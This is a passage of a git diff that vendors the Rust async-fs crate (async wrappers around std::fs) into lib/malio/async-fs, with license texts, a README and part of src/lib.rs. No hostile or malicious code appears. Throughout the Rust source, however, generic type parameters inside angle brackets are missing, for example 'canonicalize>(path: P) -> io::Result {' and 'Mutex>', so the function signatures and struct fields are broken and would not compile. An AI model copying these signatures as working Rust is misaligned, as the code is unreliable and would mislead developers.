may add Your own attribution + notices within Derivative Works that You distribute, alongside + or as an addendum to the NOTICE text from the Work, provided + that such additional attribution notices cannot be construed + as modifying the License. + + You may add Your own copyright statement to Your modifications and + may provide additional or different license terms and conditions + for use, reproduction, or distribution of Your modifications, or + for any such Derivative Works as a whole, provided Your use, + reproduction, and distribution of the Work otherwise complies with + the conditions stated in this License. + +5. Submission of Contributions. Unless You explicitly state otherwise, + any Contribution intentionally submitted for inclusion in the Work + by You to the Licensor shall be under the terms and conditions of + this License, without any additional terms or conditions. + Notwithstanding the above, nothing herein shall supersede or modify + the terms of any separate license agreement you may have executed + with Licensor regarding such Contributions. + +6. Trademarks. This License does not grant permission to use the trade + names, trademarks, service marks, or product names of the Licensor, + except as required for reasonable and customary use in describing the + origin of the Work and reproducing the content of the NOTICE file. + +7. Disclaimer of Warranty. Unless required by applicable law or + agreed to in writing, Licensor provides the Work (and each + Contributor provides its Contributions) on an "AS IS" BASIS, + WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or + implied, including, without limitation, any warranties or conditions + of TITLE, NON-INFRINGEMENT, MERCHANTABILITY, or FITNESS FOR A + PARTICULAR PURPOSE. You are solely responsible for determining the + appropriateness of using or redistributing the Work and assume any + risks associated with Your exercise of permissions under this License. + +8. Limitation of Liability. In no event and under no legal theory, + whether in tort (including negligence), contract, or otherwise, + unless required by applicable law (such as deliberate and grossly + negligent acts) or agreed to in writing, shall any Contributor be + liable to You for damages, including any direct, indirect, special, + incidental, or consequential damages of any character arising as a + result of this License or out of the use or inability to use the + Work (including but not limited to damages for loss of goodwill, + work stoppage, computer failure or malfunction, or any and all + other commercial damages or losses), even if such Contributor + has been advised of the possibility of such damages. + +9. Accepting Warranty or Additional Liability. While redistributing + the Work or Derivative Works thereof, You may choose to offer, + and charge a fee for, acceptance of support, warranty, indemnity, + or other liability obligations and/or rights consistent with this + License. However, in accepting such obligations, You may act only + on Your own behalf and on Your sole responsibility, not on behalf + of any other Contributor, and only if You agree to indemnify, + defend, and hold each Contributor harmless for any liability + incurred by, or claims asserted against, such Contributor by reason + of your accepting any such warranty or additional liability. + +END OF TERMS AND CONDITIONS + +APPENDIX: How to apply the Apache License to your work. + + To apply the Apache License to your work, attach the following + boilerplate notice, with the fields enclosed by brackets "[]" + replaced with your own identifying information. (Don't include + the brackets!) The text should be enclosed in the appropriate + comment syntax for the file format. We also recommend that a + file or class name and description of purpose be included on the + same "printed page" as the copyright notice for easier + identification within third-party archives. + +Copyright [yyyy] [name of copyright owner] + +Licensed under the Apache License, Version 2.0 (the "License"); +you may not use this file except in compliance with the License. +You may obtain a copy of the License at + + http://www.apache.org/licenses/LICENSE-2.0 + +Unless required by applicable law or agreed to in writing, software +distributed under the License is distributed on an "AS IS" BASIS, +WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. +See the License for the specific language governing permissions and +limitations under the License. diff --git a/lib/malio/async-fs/LICENSE-MIT b/lib/malio/async-fs/LICENSE-MIT new file mode 100644 index 0000000..31aa793 --- /dev/null +++ b/lib/malio/async-fs/LICENSE-MIT @@ -0,0 +1,23 @@ +Permission is hereby granted, free of charge, to any +person obtaining a copy of this software and associated +documentation files (the "Software"), to deal in the +Software without restriction, including without +limitation the rights to use, copy, modify, merge, +publish, distribute, sublicense, and/or sell copies of +the Software, and to permit persons to whom the Software +is furnished to do so, subject to the following +conditions: + +The above copyright notice and this permission notice +shall be included in all copies or substantial portions +of the Software. + +THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF +ANY KIND, EXPRESS OR IMPLIED, INCLUDING BUT NOT LIMITED +TO THE WARRANTIES OF MERCHANTABILITY, FITNESS FOR A +PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT +SHALL THE AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY +CLAIM, DAMAGES OR OTHER LIABILITY, WHETHER IN AN ACTION +OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, OUT OF OR +IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER +DEALINGS IN THE SOFTWARE. diff --git a/lib/malio/async-fs/README.md b/lib/malio/async-fs/README.md new file mode 100644 index 0000000..a7afd96 --- /dev/null +++ b/lib/malio/async-fs/README.md @@ -0,0 +1,48 @@ +# async-fs + +[![CI](https://github.com/smol-rs/async-fs/actions/workflows/ci.yml/badge.svg)]( +https://github.com/smol-rs/async-fs/actions/workflows/ci.yml) +[![License](https://img.shields.io/badge/license-Apache--2.0_OR_MIT-blue.svg)]( +https://github.com/smol-rs/async-fs) +[![Cargo](https://img.shields.io/crates/v/async-fs.svg)]( +https://crates.io/crates/async-fs) +[![Documentation](https://docs.rs/async-fs/badge.svg)]( +https://docs.rs/async-fs) + +Async filesystem primitives. + +This crate is an async version of `std::fs`. + +## Implementation + +This crate uses [`blocking`] to offload blocking I/O onto a thread pool. + +[`blocking`]: https://docs.rs/blocking + +## Examples + +Create a new file and write some bytes to it: + +```rust +use async_fs::File; +use futures_lite::io::AsyncWriteExt; + +let mut file = File::create("a.txt").await?; +file.write_all(b"Hello, world!").await?; +file.flush().await?; +``` + +## License + +Licensed under either of + + * Apache License, Version 2.0 ([LICENSE-APACHE](LICENSE-APACHE) or http://www.apache.org/licenses/LICENSE-2.0) + * MIT license ([LICENSE-MIT](LICENSE-MIT) or http://opensource.org/licenses/MIT) + +at your option. + +#### Contribution + +Unless you explicitly state otherwise, any contribution intentionally submitted +for inclusion in the work by you, as defined in the Apache-2.0 license, shall be +dual licensed as above, without any additional terms or conditions. diff --git a/lib/malio/async-fs/src/lib.rs b/lib/malio/async-fs/src/lib.rs new file mode 100644 index 0000000..59477a8 --- /dev/null +++ b/lib/malio/async-fs/src/lib.rs @@ -0,0 +1,1855 @@ +//! Async filesystem primitives. +//! +//! This crate is an async version of [`std::fs`]. +//! +//! # Implementation +//! +//! This crate uses [`blocking`] to offload blocking I/O onto a thread pool. +//! +//! [`blocking`]: https://docs.rs/blocking +//! +//! # Examples +//! +//! Create a new file and write some bytes to it: +//! +//! ```no_run +//! use async_fs::File; +//! use futures_lite::io::AsyncWriteExt; +//! +//! # futures_lite::future::block_on(async { +//! let mut file = File::create("a.txt").await?; +//! file.write_all(b"Hello, world!").await?; +//! file.flush().await?; +//! # std::io::Result::Ok(()) }); +//! ``` + +#![forbid(unsafe_code)] +#![warn(missing_docs, missing_debug_implementations, rust_2018_idioms)] +#![doc( + html_favicon_url = "https://raw.githubusercontent.com/smol-rs/smol/master/assets/images/logo_fullsize_transparent.png" +)] +#![doc( + html_logo_url = "https://raw.githubusercontent.com/smol-rs/smol/master/assets/images/logo_fullsize_transparent.png" +)] + +use std::ffi::OsString; +use std::fmt; +use std::future::Future; +use std::io::{self, SeekFrom}; +use std::path::{Path, PathBuf}; +use std::pin::Pin; +use std::sync::Arc; +use std::task::{Context, Poll}; + +#[cfg(unix)] +use std::os::unix::fs::{DirEntryExt as _, OpenOptionsExt as _}; + +#[cfg(windows)] +use std::os::windows::fs::OpenOptionsExt as _; + +use async_lock::Mutex; +use blocking::{unblock, Unblock}; +use futures_lite::future::FutureExt; +use futures_lite::io::{AsyncRead, AsyncSeek, AsyncWrite, AsyncWriteExt}; +use futures_lite::ready; +use futures_lite::stream::Stream; + +#[doc(no_inline)] +pub use std::fs::{FileType, Metadata, Permissions}; + +/// Returns the canonical form of a path. +/// +/// The returned path is in absolute form with all intermediate components normalized and symbolic +/// links resolved. +/// +/// # Errors +/// +/// An error will be returned in the following situations: +/// +/// * `path` does not point to an existing file or directory. +/// * A non-final component in `path` is not a directory. +/// * Some other I/O error occurred. +/// +/// # Examples +/// +/// ```no_run +/// # futures_lite::future::block_on(async { +/// let path = async_fs::canonicalize(".").await?; +/// # std::io::Result::Ok(()) }); +/// ``` +pub async fn canonicalize>(path: P) -> io::Result { + let path = path.as_ref().to_owned(); + unblock(move || std::fs::canonicalize(path)).await +} + +/// Copies a file to a new location. +/// +/// On success, the total number of bytes copied is returned and equals the length of the `dst` +/// file after this operation. +/// +/// The old contents of `dst` will be overwritten. If `src` and `dst` both point to the same +/// file, then the file will likely get truncated as a result of this operation. +/// +/// If you're working with open [`File`]s and want to copy contents through those types, use +/// [`futures_lite::io::copy()`] instead. +/// +/// # Errors +/// +/// An error will be returned in the following situations: +/// +/// * `src` does not point to an existing file. +/// * The current process lacks permissions to read `src` or write `dst`. +/// * Some other I/O error occurred. +/// +/// # Examples +/// +/// ```no_run +/// # futures_lite::future::block_on(async { +/// let num_bytes = async_fs::copy("a.txt", "b.txt").await?; +/// # std::io::Result::Ok(()) }); +/// ``` +pub async fn copy, Q: AsRef>(src: P, dst: Q) -> io::Result { + let src = src.as_ref().to_owned(); + let dst = dst.as_ref().to_owned(); + unblock(move || std::fs::copy(&src, &dst)).await +} + +/// Creates a new, empty directory at the provided path +/// +/// # Platform-specific behavior +/// +/// This function currently corresponds to the `mkdir` function on Unix +/// and the `CreateDirectory` function on Windows. +/// Note that this [may change in the future][changes]. +/// +/// [changes]: io#platform-specific-behavior +/// +/// Note that if a parent of the given path doesn't exist, this function will +/// return an error. To create a directory and all its missing parents at the +/// same time, use the [`create_dir_all`] function. +/// +/// # Errors +/// +/// This function will return an error in the following situations, but is not +/// limited to just these cases: +/// +/// * User lacks permissions to create directory at `path`. +/// * A parent of the given path doesn't exist. (To create a directory and all +/// its missing parents at the same time, use the [`create_dir_all`] +/// function.) +/// * `path` already exists. +/// +/// # Examples +/// +/// ```no_run +/// use std::fs; +/// +/// fn main() -> std::io::Result<()> { +/// fs::create_dir("/some/dir")?; +/// Ok(()) +/// } +/// ``` +pub async fn create_dir>(path: P) -> io::Result<()> { + let path = path.as_ref().to_owned(); + unblock(move || std::fs::create_dir(path)).await +} + +/// Recursively create a directory and all of its parent components if they +/// are missing. +/// +/// # Platform-specific behavior +/// +/// This function currently corresponds to the `mkdir` function on Unix +/// and the `CreateDirectory` function on Windows. +/// Note that this [may change in the future][changes]. +/// +/// [changes]: io#platform-specific-behavior +/// +/// # Errors +/// +/// This function will return an error in the following situations, but is not +/// limited to just these cases: +/// +/// * If any directory in the path specified by `path` +/// does not already exist and it could not be created otherwise. The specific +/// error conditions for when a directory is being created (after it is +/// determined to not exist) are outlined by [`fs::create_dir`]. +/// +/// Notable exception is made for situations where any of the directories +/// specified in the `path` could not be created as it was being created concurrently. +/// Such cases are considered to be successful. That is, calling `create_dir_all` +/// concurrently from multiple threads or processes is guaranteed not to fail +/// due to a race condition with itself. +/// +/// [`fs::create_dir`]: create_dir +/// +/// # Examples +/// +/// ```no_run +/// use std::fs; +/// +/// fn main() -> std::io::Result<()> { +/// fs::create_dir_all("/some/dir")?; +/// Ok(()) +/// } +/// ``` +pub async fn create_dir_all>(path: P) -> io::Result<()> { + let path = path.as_ref().to_owned(); + unblock(move || std::fs::create_dir_all(path)).await +} + +/// Creates a hard link on the filesystem. +/// +/// The `dst` path will be a link pointing to the `src` path. Note that operating systems often +/// require these two paths to be located on the same filesystem. +/// +/// # Errors +/// +/// An error will be returned in the following situations: +/// +/// * `src` does not point to an existing file. +/// * Some other I/O error occurred. +/// +/// # Examples +/// +/// ```no_run +/// # futures_lite::future::block_on(async { +/// async_fs::hard_link("a.txt", "b.txt").await?; +/// # std::io::Result::Ok(()) }); +/// ``` +pub async fn hard_link, Q: AsRef>(src: P, dst: Q) -> io::Result<()> { + let src = src.as_ref().to_owned(); + let dst = dst.as_ref().to_owned(); + unblock(move || std::fs::hard_link(&src, &dst)).await +} + +/// Reads metadata for a path. +/// +/// This function will traverse symbolic links to read metadata for the target file or directory. +/// If you want to read metadata without following symbolic links, use [`symlink_metadata()`] +/// instead. +/// +/// # Errors +/// +/// An error will be returned in the following situations: +/// +/// * `path` does not point to an existing file or directory. +/// * The current process lacks permissions to read metadata for the path. +/// * Some other I/O error occurred. +/// +/// # Examples +/// +/// ```no_run +/// # futures_lite::future::block_on(async { +/// let perm = async_fs::metadata("a.txt").await?.permissions(); +/// # std::io::Result::Ok(()) }); +/// ``` +pub async fn metadata>(path: P) -> io::Result { + let path = path.as_ref().to_owned(); + unblock(move || std::fs::metadata(path)).await +} + +/// Reads the entire contents of a file as raw bytes. +/// +/// This is a convenience function for reading entire files. It pre-allocates a buffer based on the +/// file size when available, so it is typically faster than manually opening a file and reading +/// from it. +/// +/// If you want to read the contents as a string, use [`read_to_string()`] instead. +/// +/// # Errors +/// +/// An error will be returned in the following situations: +/// +/// * `path` does not point to an existing file. +/// * The current process lacks permissions to read the file. +/// * Some other I/O error occurred. +/// +/// # Examples +/// +/// ```no_run +/// # futures_lite::future::block_on(async { +/// let contents = async_fs::read("a.txt").await?; +/// # std::io::Result::Ok(()) }); +/// ``` +pub async fn read>(path: P) -> io::Result> { + let path = path.as_ref().to_owned(); + unblock(move || std::fs::read(path)).await +} + +/// Returns a stream of entries in a directory. +/// +/// The stream yields items of type [`io::Result`]`<`[`DirEntry`]`>`. Note that I/O errors can +/// occur while reading from the stream. +/// +/// # Errors +/// +/// An error will be returned in the following situations: +/// +/// * `path` does not point to an existing directory. +/// * The current process lacks permissions to read the contents of the directory. +/// * Some other I/O error occurred. +/// +/// # Examples +/// +/// ```no_run +/// # futures_lite::future::block_on(async { +/// use futures_lite::stream::StreamExt; +/// +/// let mut entries = async_fs::read_dir(".").await?; +/// +/// while let Some(entry) = entries.try_next().await? { +/// println!("{}", entry.file_name().to_string_lossy()); +/// } +/// # std::io::Result::Ok(()) }); +/// ``` +pub async fn read_dir>(path: P) -> io::Result { + let path = path.as_ref().to_owned(); + unblock(move || std::fs::read_dir(path).map(|inner| ReadDir(State::Idle(Some(inner))))).await +} + +/// A stream of entries in a directory. +/// +/// This stream is returned by [`read_dir()`] and yields items of type +/// [`io::Result`]`<`[`DirEntry`]`>`. Each [`DirEntry`] can then retrieve information like entry's +/// path or metadata. +pub struct ReadDir(State); + +/// The state of an asynchronous `ReadDir`. +/// +/// The `ReadDir` can be either idle or busy performing an asynchronous operation. +#[allow(clippy::large_enum_variant)] // TODO: Windows-specific +enum State { + Idle(Option), + Busy(blocking::Task<(std::fs::ReadDir, Option>)>), +} + +impl fmt::Debug for ReadDir { + fn fmt(&self, f: &mut fmt::Formatter<'_>) -> fmt::Result { + f.debug_struct("ReadDir").finish() + } +} + +impl Stream for ReadDir { + type Item = io::Result; + + fn poll_next(mut self: Pin<&mut Self>, cx: &mut Context<'_>) -> Poll> { + loop { + match &mut self.0 { + State::Idle(opt) => { + let mut inner = opt.take().unwrap(); + + // Start the operation asynchronously. + self.0 = State::Busy(unblock(move || { + let next = inner.next(); + (inner, next) + })); + } + // Poll the asynchronous operation the file is currently blocked on. + State::Busy(task) => { + let (inner, opt) = ready!(task.poll(cx)); + self.0 = State::Idle(Some(inner)); + return Poll::Ready(opt.map(|res| res.map(|inner| DirEntry(Arc::new(inner))))); + } + } + } + } +} + +/// An entry in a directory. +/// +/// A stream of entries in a directory is returned by [`read_dir()`]. +/// +/// For Unix-specific options, import the [`DirEntryExt`][`std::os::unix::fs::DirEntryExt`] trait. +pub struct DirEntry(Arc); + +impl DirEntry { + /// Returns the full path to this entry. + /// + /// The full path is created by joining the original path passed to [`read_dir()`] with the + /// name of this entry. + /// + /// # Examples + /// + /// ```no_run + /// use futures_lite::stream::StreamExt; + /// + /// # futures_lite::future::block_on(async { + /// let mut dir = async_fs::read_dir(".").await?; + /// + /// while let Some(entry) = dir.try_next().await? { + /// println!("{:?}", entry.path()); + /// } + /// # std::io::Result::Ok(()) }); + /// ``` + pub fn path(&self) -> PathBuf { + self.0.path() + } + + /// Reads the metadata for this entry. + /// + /// This function will traverse symbolic links to read the metadata. + /// + /// If you want to read metadata without following symbolic links, use [`symlink_metadata()`] + /// instead. + /// + /// # Errors + /// + /// An error will be returned in the following situations: + /// + /// * This entry does not point to an existing file or directory anymore. + /// * The current process lacks permissions to read the metadata. + /// * Some other I/O error occurred. + /// + /// # Examples + /// + /// ```no_run + /// use futures_lite::stream::StreamExt; + /// + /// # futures_lite::future::block_on(async { + /// let mut dir = async_fs::read_dir(".").await?; + /// + /// while let Some(entry) = dir.try_next().await? { + /// println!("{:?}", entry.metadata().await?); + /// } + /// # std::io::Result::Ok(()) }); + /// ``` + pub async fn metadata(&self) -> io::Result { + let inner = self.0.clone(); + unblock(move || inner.metadata()).await + } + + /// Reads the file type for this entry. + /// + /// This function will not traverse symbolic links if this entry points at one. + /// + /// If you want to read metadata with following symbolic links, use [`metadata()`] instead. + /// + /// # Errors + /// + /// An error will be returned in the following situations: + /// + /// * This entry does not point to an existing file or directory anymore. + /// * The current process lacks permissions to read this entry's metadata. + /// * Some other I/O error occurred. + /// + /// # Examples + /// + /// ```no_run + /// use futures_lite::stream::StreamExt; + /// + /// # futures_lite::future::block_on(async { + /// let mut dir = async_fs::read_dir(".").await?; + /// + /// while let Some(entry) = dir.try_next().await? { + /// println!("{:?}", entry.file_type().await?); + /// } + /// # std::io::Result::Ok(()) }); + /// ``` + pub async fn file_type(&self) -> io::Result { + let inner = self.0.clone(); + unblock(move || inner.file_type()).await + } + + /// Returns the bare name of this entry without the leading path. + /// + /// # Examples + /// + /// ```no_run + /// use futures_lite::stream::StreamExt; + /// + /// # futures_lite::future::block_on(async { + /// let mut dir = async_fs::read_dir(".").await?; + /// + /// while let Some(entry) = dir.try_next().await? { + /// println!("{}", entry.file_name().to_string_lossy()); + /// } + /// # std::io::Result::Ok(()) }); + /// ``` + pub fn file_name(&self) -> OsString { + self.0.file_name() + } +} + +impl fmt::Debug for DirEntry { + fn fmt(&self, f: &mut fmt::Formatter<'_>) -> fmt::Result { + f.debug_tuple("DirEntry").field(&self.path()).finish() + } +} + +impl Clone for DirEntry { + fn clone(&self) -> Self { + DirEntry(self.0.clone()) + } +} + +#[cfg(unix)] +impl unix::DirEntryExt for DirEntry { + fn ino(&self) -> u64 { + self.0.ino() + } +} + +/// Reads a symbolic link and returns the path it points to. +/// +/// # Errors +/// +/// An error will be returned in the following situations: +/// +/// * `path` does not point to an existing link. +/// * Some other I/O error occurred. +/// +/// # Examples +/// +/// ```no_run +/// # futures_lite::future::block_on(async { +/// let path = async_fs::read_link("a.txt").await?; +/// # std::io::Result::Ok(()) }); +/// ``` +pub async fn read_link>(path: P) -> io::Result { + let path = path.as_ref().to_owned(); + unblock(move || std::fs::read_link(path)).await +} + +/// Reads the entire contents of a file as a string. +/// +/// This is a convenience function for reading entire files. It pre-allocates a string based on the +/// file size when available, so it is typically faster than manually opening a file and reading +/// from it. +/// +/// If you want to read the contents as raw bytes, use [`read()`] instead. +/// +/// # Errors +/// +/// An error will be returned in the following situations: +/// +/// * `path` does not point to an existing file. +/// * The current process lacks permissions to read the file. +/// * The contents of the file cannot be read as a UTF-8 string. +/// * Some other I/O error occurred. +/// +/// # Examples +/// +/// ```no_run +/// # futures_lite::future::block_on(async { +/// let contents = async_fs::read_to_string("a.txt").await?; +/// # std::io::Result::Ok(()) }); +/// ``` +pub async fn read_to_string>(path: P) -> io::Result { + let path = path.as_ref().to_owned(); + unblock(move || std::fs::read_to_string(path)).await +} + +/// Removes an empty directory. +/// +/// Note that this function can only delete an empty directory. If you want to delete a directory +/// and all of its contents, use [`remove_dir_all()`] instead. +/// +/// # Errors +/// +/// An error will be returned in the following situations: +/// +/// * `path` is not an existing and empty directory. +/// * The current process lacks permissions to remove the directory. +/// * Some other I/O error occurred. +/// +/// # Examples +/// +/// ```no_run +/// # futures_lite::future::block_on(async { +/// async_fs::remove_dir("./some/directory").await?; +/// # std::io::Result::Ok(()) }); +/// ``` +pub async fn remove_dir>(path: P) -> io::Result<()> { + let path = path.as_ref().to_owned(); + unblock(move || std::fs::remove_dir(path)).await +} + +/// Removes a directory and all of its contents. +/// +/// # Errors +/// +/// An error will be returned in the following situations: +/// +/// * `path` is not an existing directory. +/// * The current process lacks permissions to remove the directory. +/// * Some other I/O error occurred. +/// +/// # Examples +/// +/// ```no_run +/// # futures_lite::future::block_on(async { +/// async_fs::remove_dir_all("./some/directory").await?; +/// # std::io::Result::Ok(()) }); +/// ``` +pub async fn remove_dir_all>(path: P) -> io::Result<()> { + let path = path.as_ref().to_owned(); + unblock(move || std::fs::remove_dir_all(path)).await +} + +/// Removes a file. +/// +/// # Errors +/// +/// An error will be returned in the following situations: +/// +/// * `path` does not point to an existing file. +/// * The current process lacks permissions to remove the file. +/// * Some other I/O error occurred. +/// +/// # Examples +/// +/// ```no_run +/// # futures_lite::future::block_on(async { +/// async_fs::remove_file("a.txt").await?; +/// # std::io::Result::Ok(()) }); +/// ``` +pub async fn remove_file>(path: P) -> io::Result<()> { + let path = path.as_ref().to_owned(); + unblock(move || std::fs::remove_file(path)).await +} + +/// Renames a file or directory to a new location. +/// +/// If a file or directory already exists at the target location, it will be overwritten by this +/// operation. +/// +/// # Errors +/// +/// An error will be returned in the following situations: +/// +/// * `src` does not point to an existing file or directory. +/// * `src` and `dst` are on different filesystems. +/// * The current process lacks permissions to do the rename operation. +/// * Some other I/O error occurred. +/// +/// # Examples +/// +/// ```no_run +/// # futures_lite::future::block_on(async { +/// async_fs::rename("a.txt", "b.txt").await?; +/// # std::io::Result::Ok(()) }); +/// ``` +pub async fn rename, Q: AsRef>(src: P, dst: Q) -> io::Result<()> { + let src = src.as_ref().to_owned(); + let dst = dst.as_ref().to_owned(); + unblock(move || std::fs::rename(&src, &dst)).await +} + +/// Changes the permissions of a file or directory. +/// +/// # Errors +/// +/// An error will be returned in the following situations: +/// +/// * `path` does not point to an existing file or directory. +/// * The current process lacks permissions to change attributes on the file or directory. +/// * Some other I/O error occurred. +/// +/// # Examples +/// +/// ```no_run +/// # futures_lite::future::block_on(async { +/// let mut perm = async_fs::metadata("a.txt").await?.permissions(); +/// perm.set_readonly(true); +/// async_fs::set_permissions("a.txt", perm).await?; +/// # std::io::Result::Ok(()) }); +/// ``` +pub async fn set_permissions>(path: P, perm: Permissions) -> io::Result<()> { + let path = path.as_ref().to_owned(); + unblock(move || std::fs::set_permissions(path, perm)).await +} + +/// Reads metadata for a path without following symbolic links. +/// +/// If you want to follow symbolic links before reading metadata of the target file or directory, +/// use [`metadata()`] instead. +/// +/// # Errors +/// +/// An error will be returned in the following situations: +/// +/// * `path` does not point to an existing file or directory. +/// * The current process lacks permissions to read metadata for the path. +/// * Some other I/O error occurred. +/// +/// # Examples +/// +/// ```no_run +/// # futures_lite::future::block_on(async { +/// let perm = async_fs::symlink_metadata("a.txt").await?.permissions(); +/// # std::io::Result::Ok(()) }); +/// ``` +pub async fn symlink_metadata>(path: P) -> io::Result { + let path = path.as_ref().to_owned(); + unblock(move || std::fs::symlink_metadata(path)).await +} + +/// Writes a slice of bytes as the new contents of a file. +/// +/// This function will create a file if it does not exist, and will entirely replace its contents +/// if it does. +/// +/// # Errors +/// +/// An error will be returned in the following situations: +/// +/// * The file's parent directory does not exist. +/// * The current process lacks permissions to write to the file. +/// * Some other I/O error occurred. +/// +/// # Examples +/// +/// ```no_run +/// # futures_lite::future::block_on(async { +/// async_fs::write("a.txt", b"Hello world!").await?; +/// # std::io::Result::Ok(()) }); +/// ``` +pub async fn write, C: AsRef<[u8]>>(path: P, contents: C) -> io::Result<()> { + let path = path.as_ref().to_owned(); + let contents = contents.as_ref().to_owned(); + unblock(move || std::fs::write(&path, contents)).await +} + +/// A builder for creating directories with configurable options. +/// +/// For Unix-specific options, import the [`DirBuilderExt`][`std::os::unix::fs::DirBuilderExt`] +/// trait. +#[derive(Debug, Default)] +pub struct DirBuilder { + /// Set to `true` if non-existent parent directories should be created. + recursive: bool, + + /// Unix mode for newly created directories. + #[cfg(unix)] + mode: Option, +} + +impl DirBuilder { + /// Creates a blank set of options. + /// + /// The [`recursive()`][`DirBuilder::recursive()`] option is initially set to `false`. + /// + /// # Examples + /// + /// ``` + /// use async_fs::DirBuilder; + /// + /// let builder = DirBuilder::new(); + /// ``` + pub fn new() -> DirBuilder { + #[cfg(not(unix))] + let builder = DirBuilder { recursive: false }; + + #[cfg(unix)] + let builder = DirBuilder { + recursive: false, + mode: None, + }; + + builder + } + + /// Sets the option for recursive mode. + /// + /// When set to `true`, this option means all parent directories should be created recursively + /// if they don't exist. Parents are created with the same permissions as the final directory. + /// + /// This option is initially set to `false`. + /// + /// # Examples + /// + /// ``` + /// use async_fs::DirBuilder; + /// + /// let mut builder = DirBuilder::new(); + /// builder.recursive(true); + /// ``` + pub fn recursive(&mut self, recursive: bool) -> &mut Self { + self.recursive = recursive; + self + } + + /// Creates a directory with the configured options. + /// + /// It is considered an error if the directory already exists unless recursive mode is enabled. + /// + /// # Errors + /// + /// An error will be returned in the following situations: + /// + /// * `path` already points to an existing file or directory. + /// * The current process lacks permissions to create the directory or its missing parents. + /// * Some other I/O error occurred. + /// + /// # Examples + /// + /// ```no_run + /// use async_fs::DirBuilder; + /// + /// # futures_lite::future::block_on(async { + /// DirBuilder::new() + /// .recursive(true) + /// .create("./some/directory") + /// .await?; + /// # std::io::Result::Ok(()) }); + /// ``` + pub fn create>(&self, path: P) -> impl Future> { + let mut builder = std::fs::DirBuilder::new(); + builder.recursive(self.recursive); + + #[cfg(unix)] + { + if let Some(mode) = self.mode { + std::os::unix::fs::DirBuilderExt::mode(&mut builder, mode); + } + } + + let path = path.as_ref().to_owned(); + unblock(move || builder.create(path)) + } +} + +#[cfg(unix)] +impl unix::DirBuilderExt for DirBuilder { + fn mode(&mut self, mode: u32) -> &mut Self { + self.mode = Some(mode); + self + } +} + +/// An open file on the filesystem. +/// +/// Depending on what options the file was opened with, this type can be used for reading and/or +/// writing. +/// +/// Files are automatically closed when they get dropped and any errors detected on closing are +/// ignored. Use the [`sync_all()`][`File::sync_all()`] method before dropping a file if such +/// errors need to be handled. +/// +/// **NOTE:** If writing to a file, make sure to call +/// [`flush()`][`futures_lite::io::AsyncWriteExt::flush()`], [`sync_data()`][`File::sync_data()`], +/// or [`sync_all()`][`File::sync_all()`] before dropping the file or else some written data +/// might get lost! +/// +/// # Examples +/// +/// Create a new file and write some bytes to it: +/// +/// ```no_run +/// use async_fs::File; +/// use futures_lite::io::AsyncWriteExt; +/// +/// # futures_lite::future::block_on(async { +/// let mut file = File::create("a.txt").await?; +/// +/// file.write_all(b"Hello, world!").await?; +/// file.flush().await?; +/// # std::io::Result::Ok(()) }); +/// ``` +/// +/// Read the contents of a file into a vector of bytes: +/// +/// ```no_run +/// use async_fs::File; +/// use futures_lite::io::AsyncReadExt; +/// +/// # futures_lite::future::block_on(async { +/// let mut file = File::open("a.txt").await?; +/// +/// let mut contents = Vec::new(); +/// file.read_to_end(&mut contents).await?; +/// # std::io::Result::Ok(()) }); +/// ``` +pub struct File { + /// Always accessible reference to the file. + file: Arc, + + /// Performs blocking I/O operations on a thread pool. + unblock: Mutex>, + + /// Logical file cursor, tracked when reading from the file. + /// + /// This will be set to an error if the file is not seekable. + read_pos: Option>, + + /// Set to `true` if the file needs flushing. + is_dirty: bool, +} + +impl File { + /// Creates an async file from a blocking file. + fn new(inner: std::fs::File, is_dirty: bool) -> File { + let file = Arc::new(inner); + let unblock = Mutex::new(Unblock::new(ArcFile(file.clone()))); + let read_pos = None; + File { + file, + unblock, + read_pos, + is_dirty, + } + } + + /// Opens a file in read-only mode. + /// + /// See the [`OpenOptions::open()`] function for more options. + /// + /// # Errors + /// + /// An error will be returned in the following situations: + /// + /// * `path` does not point to an existing file. + /// * The current process lacks permissions to read the file. + /// * Some other I/O error occurred. + /// + /// For more details, see the list of errors documented by [`OpenOptions::open()`]. + /// + /// # Examples + /// + /// ```no_run + /// use async_fs::File; + /// + /// # futures_lite::future::block_on(async { + /// let file = File::open("a.txt").await?; + /// # std::io::Result::Ok(()) }); + /// ``` + pub async fn open>(path: P) -> io::Result { + let path = path.as_ref().to_owned(); + let file = unblock(move || std::fs::File::open(path)).await?; + Ok(File::new(file, false)) + } + + /// Opens a file in write-only mode. + /// + /// This method will create a file if it does not exist, and will truncate it if it does. + /// + /// See the [`OpenOptions::open`] function for more options. + /// + /// # Errors + /// + /// An error will be returned in the following situations: + /// + /// * The file's parent directory does not exist. + /// * The current process lacks permissions to write to the file. + /// * Some other I/O error occurred. + /// + /// For more details, see the list of errors documented by [`OpenOptions::open()`]. + /// + /// # Examples + /// + /// ```no_run + /// use async_fs::File; + /// + /// # futures_lite::future::block_on(async { + /// let file = File::create("a.txt").await?; + /// # std::io::Result::Ok(()) }); + /// ``` + pub async fn create>(path: P) -> io::Result { + let path = path.as_ref().to_owned(); + let file = unblock(move || std::fs::File::create(path)).await?; + Ok(File::new(file, false)) + } + + /// Synchronizes OS-internal buffered contents and metadata to disk. + /// + /// This function will ensure that all in-memory data reaches the filesystem. + /// + /// This can be used to handle errors that would otherwise only be caught by closing the file. + /// When a file is dropped, errors in synchronizing this in-memory data are ignored. + /// + /// # Examples + /// + /// ```no_run + /// use async_fs::File; + /// use futures_lite::io::AsyncWriteExt; + /// + /// # futures_lite::future::block_on(async { + /// let mut file = File::create("a.txt").await?; + /// + /// file.write_all(b"Hello, world!").await?; + /// file.sync_all().await?; + /// # std::io::Result::Ok(()) }); + /// ``` + pub async fn sync_all(&self) -> io::Result<()> { + let mut inner = self.unblock.lock().await; + inner.flush().await?; + let file = self.file.clone(); + unblock(move || file.sync_all()).await + } + + /// Synchronizes OS-internal buffered contents to disk. + /// + /// This is similar to [`sync_all()`][`File::sync_all()`], except that file metadata may not + /// be synchronized. + /// + /// This is intended for use cases that must synchronize the contents of the file, but don't + /// need the file metadata synchronized to disk. + /// + /// Note that some platforms may simply implement this in terms of + /// [`sync_all()`][`File::sync_all()`]. + /// + /// # Examples + /// + /// ```no_run + /// use async_fs::File; + /// use futures_lite::io::AsyncWriteExt; + /// + /// # 